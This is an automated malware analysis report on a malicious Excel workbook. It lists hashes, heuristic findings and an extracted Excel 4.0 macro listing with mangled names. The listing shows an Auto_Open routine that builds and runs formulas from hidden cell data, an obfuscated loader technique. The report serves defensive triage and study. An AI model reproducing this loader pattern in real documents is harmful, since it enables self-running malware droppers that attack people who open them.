Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7f7bc986a8b6df5…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:33 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: bca669be8f45a868c9faae58e84657f1 SHA-1: 01532f1322213a334c4cdf9230102639e07459c0 SHA-256: f7f7bc986a8b6df5812550969dddb36096a6c47ed066c0b5ac3f1670b19d2f12
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6704 bytes
SHA-256: 82787e499831409512e1821456f003b1b85eccb73dedb7e786162c0eb7f3742f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'vzbkGLFIZYTY') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aVmHWvLzAM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C161 
' 0018     26 LABEL : Cell Value, String Constant - fmuadrcarly len=0 
' 0018     22 LABEL : Cell Value, String Constant - iWbqTtc len=0 
' 0018     21 LABEL : Cell Value, String Constant - jNIzTT len=0 
' 0018     22 LABEL : Cell Value, String Constant - jTjoyGW len=0 
' 0018     27 LABEL : Cell Value, String Constant - lOjWdquABlWn len=0 
' 0018     20 LABEL : Cell Value, String Constant - mSFON len=0 
' 0018     20 LABEL : Cell Value, String Constant - MYelF len=0 
' 0018     20 LABEL : Cell Value, String Constant - OwWDQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - PLYbTJhIOujM len=0 
' 0018     23 LABEL : Cell Value, String Constant - pYNHeyEy len=0 
' 0018     26 LABEL : Cell Value, String Constant - RtSAKmIyMcx len=0 
' 0018     21 LABEL : Cell Value, String Constant - TViMyK len=0 
' 0018     27 LABEL : Cell Value, String Constant - vzbkGLFIZYTY len=0 
' 0018     25 LABEL : Cell Value, String Constant - WiqSQvaRfT len=0 
' 0018     22 LABEL : Cell Value, String Constant - xDPxXuI len=0 
' 0018     27 LABEL : Cell Value, String Constant - xDTMegOyAoZY len=0 
' 0018     21 LABEL : Cell Value, String Constant - xIGbhf len=0 
' 0018     22 LABEL : Cell Value, String Constant - xvOMpTC len=0 
' 0018     26 LABEL : Cell Value, String Constant - YbpbDJdlBHK len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZhRAdVZA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aVmHWvLzAM,C71,"SET.NAME("TViMyK",VALUE("0"))",""
'  aVmHWvLzAM,C76,"SET.NAME("OwWDQ",TViMyK)",""
'  aVmHWvLzAM,C81,"SET.NAME("xDTMegOyAoZY",TViMyK)",""
'  aVmHWvLzAM,C85,"SET.NAME("MYelF",COUNTA(xIGbhf))",""
'  aVmHWvLzAM,C88,"SET.NAME("jNIzTT",COUNTA(pYNHeyEy))",""
'  aVmHWvLzAM,C92,[],""
'  aVmHWvLzAM,C94,"SET.NAME("mSFON","")",""
'  aVmHWvLzAM,C99,"OwWDQ",""
'  aVmHWvLzAM,C101,"SET.NAME("ZhRAdVZA",HLOOKUP("*",xIGbhf,OwWDQ,FALSE))",""
'  aVmHWvLzAM,C103,"jTjoyGW",""
'  aVmHWvLzAM,C107,"SET.NAME("xDPxXuI",TViMyK)",""
'  aVmHWvLzAM,C110,[],""
'  aVmHWvLzAM,C115,"xDPxXuI",""
'  aVmHWvLzAM,C117,"lOjWdquABlWn",""
'  aVmHWvLzAM,C120,"fmuadrcarly",""
'  aVmHWvLzAM,C124,"vzbkGLFIZYTY",""
'  aVmHWvLzAM,C128,"SET.NAME("RtSAKmIyMcx",VALUE(HLOOKUP("*",pYNHeyEy,vzbkGLFIZYTY,FALSE)))",""
'  aVmHWvLzAM,C130,"iWbqTtc",""
'  aVmHWvLzAM,C132,"mSFON",""
'  aVmHWvLzAM,C134,"xDTMegOyAoZY",""
'  aVmHWvLzAM,C138,NEXT(),""
'  aVmHWvLzAM,C143,"WiqSQvaRfT",""
'  aVmHWvLzAM,C146,"SET.NAME("f",INT(T(FORMULA(T(mSFON)&"",""&T(WiqSQvaRfT)))))",""
'  aVmHWvLzAM,C151,"YbpbDJdlBHK",""
'  aVmHWvLzAM,C155,NEXT(),""
'  aVmHWvLzAM,C159,RETURN(),""
'  aVmHWvLzAM,C180,"SET.NAME("xvOMpTC",C71)",""
'  aVmHWvLzAM,C182,"xIGbhf",""
'  aVmHWvLzAM,C187,"SET.NAME("pYNHeyEy",R50C12)",""
'  aVmHWvLzAM,C192,"SET.NAME("YbpbDJdlBHK",201)",""
'  aVmHWvLzAM,C196,"SET.NAME("PLYbTJhIOujM",3)",""
'  aVmHWvLzAM,C200,xvOMpTC(),""
'  aVmHWvLzAM,C201,HALT(),""

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